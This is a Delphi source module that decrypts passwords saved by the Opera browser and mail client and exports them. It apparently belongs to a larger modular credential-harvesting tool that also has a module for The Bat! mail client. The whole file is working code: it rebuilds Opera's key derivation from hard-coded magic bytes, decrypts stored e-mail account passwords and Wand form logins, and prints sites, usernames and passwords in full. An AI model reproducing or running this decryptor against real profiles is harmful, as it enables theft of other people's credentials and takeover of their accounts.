unit Mod_Opera;

interface

uses
  Windows, SysUtils, Classes, Mod_Common, Mod_TheBat, DCPdes, DCPsha1, DCPmd5, xBase;

type
  POperaItem = ^TOperaItem;
  TOperaItem = record
    Site: String;
    Params: TStringList;
  end;

  TModuleOpera = class(TModule)
  private
    procedure FreeAccountList;
    procedure FreeFormsList;
    function DecryptEmailPass(Password: String): String;
    function DecryptWandPass(const Key, Data: String): String;
    procedure ProcessWandData(M: TMemoryStream);
  protected
    class function GetModuleName: String; override;
    class function GetModuleVersion: Integer; override;
    class function GetModuleID: Integer; override;
    function GetIsEmpty: Boolean; override;
  public
    FormsList: TList;
    AccountList: TList;

    procedure Run; override;
    destructor Destroy; override;

    function GetAsText: String; override;
    procedure GetAsTree; override;

    procedure ExportModule(DBStream: TMemoryStream); override;
    procedure ImportModule(DBStream: TMemoryStream); override;        
  end;


implementation

const
  opera_magic_wand: array[0..10] of Byte = ($83, $7D, $FC, $0F, $8E, $B3, $E8, $69, $73, $AF, $FF);
  opera_magic_email: array[0..13] of Byte = ($83, $C4, $04, $83, $7D, $E4, $01, $75, $05, $83, $C8, $FF, $EB, $3A);

  MODULE_OPERA_WAND	= 0;
  MODULE_OPERA_EUSER	= 1;
  MODULE_OPERA_EPASS	= 2;
  MODULE_OPERA_ESERVER	= 3;
  MODULE_OPERA_EMAIL	= 4;
  MODULE_OPERA_START	= 5;
  MODULE_OPERA_END	= 6;

procedure OperaDecrypt(key: Pointer; data, dataout: Pointer; len: Integer; magic: Pointer; magic_len: Integer);
var
  out_1: array[0..63] of Byte;
  out_2: array[0..63] of Byte;
  digest_1: array[0..15] of Byte;
  digest_2: array[0..15] of Byte;
  des_key: array[0..23] of Byte;

  md5: TDCP_md5;
  Cipher: TDCP_3des;
begin
  md5 := TDCP_md5.Create(nil);
  md5.Init;

  Move(magic^, out_1, magic_len);
  Move(key^, out_1[magic_len], 8);
  md5.Update(out_1, magic_len+8);
  md5.Final(digest_1);
  Move(digest_1, des_key, 16);

  md5.Init;
  Move(digest_1, out_2, 16);
  Move(magic^, out_2[16], magic_len);
  Move(key^, out_2[16+magic_len], 8);
  md5.Update(out_2, 24+magic_len);
  md5.Final(digest_2);
  md5.Burn;
  md5.Free;

  Move(digest_2, des_key[16], 8);

  Cipher := TDCP_3des.Create(nil);
  Cipher.Init(des_key, 192, @digest_2[8]);
  Cipher.DecryptCBC(data^, dataout^, len);

  Cipher.Burn;
  Cipher.Free;
end;

{ TModuleOpera }

function TModuleOpera.DecryptEmailPass(Password: String): String;
  function DataToStr(const S: String): String;
  var
    i: Integer;
    v: String;
  begin
    Result := ''; v := '';
    for i := 1 to Length(S) do begin
      v := v + S[i];
      if Length(v) = 2 then begin
        Result := Result + Chr(StrToInt('$'+v));
        v := '';
      end;
    end;
  end;
var
  L1, L2: Integer;
  S1, S2: String;
begin
  Result := '';
  if Length(Password) < 8 then Exit;
  L1 := StrToInt('$'+Copy(Password, 1, 8)); Delete(Password, 1, 8);
  if L1 <> 8 then Exit;
  S1 := DataToStr(Copy(Password, 1, L1*2)); Delete(Password, 1, L1*2);
  L2 := StrToInt('$'+Copy(Password, 1, 8)); Delete(Password, 1, 8);
  S2 := DataToStr(Copy(Password, 1, L2*2)); SetLength(Result, L2);
  OperaDecrypt(@S1[1], @S2[1], @Result[1], L2, @opera_magic_email, SizeOf(opera_magic_email));
  SetLength(Result, Length(Result)-Ord(Result[Length(Result)])); // Cut unused chars
end;

function TModuleOpera.DecryptWandPass(const Key, Data: String): String;
begin
  Result := '';
  if Length(Key) <> 8 then Exit;
  if (Length(Data) < 8) or (Length(Data) mod 8 <> 0) then Exit;

  SetLength(Result, Length(Data));
  OperaDecrypt(@Key[1], @Data[1], @Result[1], Length(Data), @opera_magic_wand, SizeOf(opera_magic_wand));
  SetLength(Result, Length(Result)-Ord(Result[Length(Result)])); // Cut unused chars
  Result := WideCharToString(@(Result+#0#0)[1]); // Wide>ANSI  
end;

destructor TModuleOpera.Destroy;
begin
  FreeAccountList;
  FreeFormsList;
  inherited;
end;

procedure TModuleOpera.ExportModule(DBStream: TMemoryStream);
var
  i: Integer;
begin
  inherited;

  // Email
  ExportData([AccountList.Count]);
  for i := 0 to AccountList.Count-1 do
    with PTBAccountItem(AccountList.Items[i])^ do
      ExportData([Email, Server, Password, User]);

  // Wand
  ExportData([FormsList.Count]);
  for i := 0 to FormsList.Count-1 do
    with POperaItem(FormsList.Items[i])^ do
      ExportData([Site, Params.Text]);
end;

procedure TModuleOpera.ImportModule(DBStream: TMemoryStream);
var
  i: Integer;
  P1: PTBAccountItem;
  P2: POperaItem;
begin
  inherited;

  AccountList := TList.Create;
  FormsList := TList.Create;

  // Email
  for i := 0 to ImportData-1 do begin
    New(P1); AccountList.Add(P1);
    with P1^ do begin
      Email := ImportData;
      Server := ImportData;
      Password := ImportData;
      User := ImportData;
    end;
  end;

  // Wand
  for i := 0 to ImportData-1 do begin
    New(P2); FormsList.Add(P2);
    with P2^ do begin
      Site := ImportData;
      Params := TStringList.Create;
      Params.Text := ImportData;
    end;
  end;
end;

procedure TModuleOpera.FreeAccountList;
var
  i: Integer;
begin
  if AccountList = nil then Exit;
  for i := 0 to AccountList.Count-1 do begin
    PTBAccountItem(AccountList.Items[i]).Email := '';
    PTBAccountItem(AccountList.Items[i]).Server := '';
    PTBAccountItem(AccountList.Items[i]).Password := '';
    PTBAccountItem(AccountList.Items[i]).User := '';
    Dispose(AccountList.Items[i]);
  end;
  AccountList.Free;
end;

procedure TModuleOpera.FreeFormsList;
var
  i: Integer;
begin
  if FormsList = nil then Exit;
  for i := 0 to FormsList.Count-1 do begin
    POperaItem(FormsList.Items[i]).Site := '';
    POperaItem(FormsList.Items[i]).Params.Free;
    Dispose(FormsList.Items[i]);
  end;
  FormsList.Free;
end;

function TModuleOpera.GetAsText: String;
var
  i, j: Integer;
begin
  Result := '';
  
  if AccountList.Count > 0 then begin
    Result := Result + 'Email accounts'#13#10;
    for i := 0 to AccountList.Count-1 do begin
      Result := Result + '        Email: ' + PTBAccountItem(AccountList.Items[i]).Email + #13#10;
      Result := Result + '        Server: ' + PTBAccountItem(AccountList.Items[i]).Server + #13#10;
      Result := Result + '        User: ' + PTBAccountItem(AccountList.Items[i]).User + #13#10;
      Result := Result + '        Password: ' + PTBAccountItem(AccountList.Items[i]).Password + #13#10;
      Result := Result + #13#10;
    end;
  end;

  if FormsList.Count > 0 then begin
    Result := Result + #13#10'Wand forms'#13#10;
    for i := 0 to FormsList.Count-1 do begin
      Result := Result + '        Site: ' + POperaItem(FormsList.Items[i]).Site + #13#10;
      for j := 0 to POperaItem(FormsList.Items[i]).Params.Count-1 do begin
        Result := Result + '              ' + POperaItem(FormsList.Items[i]).Params.Strings[j] + #13#10;
      end;
      Result := Result + #13#10;
    end;
  end;
end;

procedure TModuleOpera.GetAsTree;
var
  i, j: Integer;
  S: String;
begin
  Append(ModuleName, 'Этот модуль содержит E-mail и Wand пароли Oper''ы', ICON_FOLDER);
  MoveIn;

  Append('Email', '', ICON_FOLDER);
  MoveIn;
  for i := 0 to AccountList.Count-1 do
    Append(PTBAccountItem(AccountList.Items[i]).Email, GenHTMLList(['Email: ' + PTBAccountItem(AccountList.Items[i]).Email, 'Server: ' + PTBAccountItem(AccountList.Items[i]).Server, 'User: ' + PTBAccountItem(AccountList.Items[i]).User, 'Password: ' + PTBAccountItem(AccountList.Items[i]).Password]), ICON_OPERA_MAIL);
  MoveOut;

  if FormsList.Count > 0 then begin
    S := '';
    for i := 0 to FormsList.Count-1 do begin
      S := S + 'Сайт: ' + HTMLSafe(POperaItem(FormsList.Items[i]).Site) + '<br>Пароли:<ul><li>';
      for j := 0 to POperaItem(FormsList.Items[i]).Params.Count-1 do
        S := S + HTMLSafe(POperaItem(FormsList.Items[i]).Params.Strings[j]) + '<li>';
      if Copy(S, Length(S)-3, 4) = '<li>' then
        Delete(S, Length(S)-3, 4);
      S := S + '</ul><hr>';
    end;
    Append('Wand', S, ICON_OPERA);
  end;
  
  MoveOut;
end;

function TModuleOpera.GetIsEmpty: Boolean;
begin
  Result := (FormsList.Count = 0) and (AccountList.Count = 0);
end;

class function TModuleOpera.GetModuleID: Integer;
begin
  Result := MODULE_OPERA;
end;

class function TModuleOpera.GetModuleName: String;
begin
  Result := 'Opera';
end;

class function TModuleOpera.GetModuleVersion: Integer;
begin
  Result := 0;
end;

procedure TModuleOpera.ProcessWandData(M: TMemoryStream);
var
  P: POperaItem;

  function Swap32(Value: LongWord): LongWord; assembler;
  asm
    bswap eax
  end;

  function ReadDWord: LongWord;
  begin
    M.ReadBuffer(Result, 4);
    Result := Swap32(Result);
  end;

  function ReadVariable(CLen: LongWord): String;
  begin
    SetLength(Result, CLen);
    M.ReadBuffer(Result[1], CLen);
  end;

  function ReadSiteHeader: Integer;
  var
    Key, Data: String;
  begin
    if ReadDWord <= 4 then // Len
      ReadDWord;

    // Site name
    Key := ReadVariable(ReadDWord);
    Data := ReadVariable(ReadDWord);

    New(P); P.Params := TStringList.Create;
    P.Site := DecryptWandPass(Key, Data);
    FormsList.Add(P);

    // Submit button name
    if ReadDWord > 0 then begin
      ReadVariable(ReadDWord); // Key
      ReadVariable(ReadDWord); // Data
    end;

    ReadVariable(24); // Unknown
    Result := ReadDWord; // Number of children
  end;

  procedure ReadSiteItem;
  var
    Key, Data, Key2, Data2: String;
  begin
    ReadVariable(1); // Unknown
    if ReadDWord <= 4 then // Len
      ReadDWord;

    // Input name
    Key := ReadVariable(ReadDWord);
    Data := ReadVariable(ReadDWord);

    if ReadDWord <= 4 then // Len
      ReadDWord;

    // Input value
    Key2 := ReadVariable(ReadDWord);
    Data2 := ReadVariable(ReadDWord);

    if P <> nil then
      P.Params.Add(DecryptWandPass(Key, Data) + '=' + DecryptWandPass(Key2, Data2));
  end;

var
  i, j: Integer;

begin
  if M.Size < 16 then Exit;
  if ReadDWord <> 2 then Exit; // Version
  if ReadDWord <> 0 then Exit; // 1 - crypted, 0 - not crypted
  ReadVariable(8); // Unknown

  P := nil;  

  // Header
  ReadDWord; // Len
  ReadVariable(ReadDWord); // Key
  ReadVariable(ReadDWord); // Data
  ReadVariable(37); // Unknown

  // Data types?
  for i := 1 to ReadDWord do begin
    ReadVariable(1); // Unknown
    ReadVariable(4); // Len
    ReadVariable(ReadDWord); // Key
    ReadVariable(ReadDWord); // Data
    ReadVariable(8); // Unknown
  end;

  // LogProfile
  ReadVariable(4); // Len
  ReadVariable(ReadDWord); // Key
  ReadVariable(ReadDWord); // Data
  ReadVariable(1); // Boolean

  // Sites
  for i := 1 to ReadDWord do
    for j := 1 to ReadSiteHeader do
      ReadSiteItem;
end;

procedure TModuleOpera.Run;
var
  DataItem: TDataItem;
  P: PTBAccountItem;
  M: TMemoryStream;
  HasError: Boolean;
begin
  inherited;

  AccountList := TList.Create;
  FormsList := TList.Create;

  P := nil;
  while HasMoreData do begin
    DataItem := ReadData;

    case DataItem.cType of
        MODULE_OPERA_START: begin
          New(P); AccountList.Add(P);
        end;
        MODULE_OPERA_EUSER: if P <> nil then
          P.User := DataItem.Data;
        MODULE_OPERA_EPASS: if P <> nil then
          P.Password := DecryptEmailPass(DataItem.Data);
        MODULE_OPERA_ESERVER: if P <> nil then
          P.Server := DataItem.Data;
        MODULE_OPERA_EMAIL: if P <> nil then
          P.Email := DataItem.Data;
        MODULE_OPERA_END: if P <> nil then begin
          if (P.User = '') and (P.Password = '') and (P.Server = '') and (P.Email = '') then begin
            AccountList.Remove(P);
            Dispose(P);
          end;
          P := nil;
        end;
        MODULE_OPERA_WAND: begin
          M := TMemoryStream.Create;
          M.WriteBuffer(DataItem.Data[1], Length(DataItem.Data));
          M.Seek(0, 0);
          HasError := False;
          try
            ProcessWandData(M);
          except
            HasError := True;
          end;
          M.Free;

          if HasError then begin
            FError := ERR_MOD_INTERNAL;
            Exit;
          end;
        end;
    else begin
        FError := ERR_UNK_ITEM;
        Exit;
      end;
    end;
  end;
end;

end.
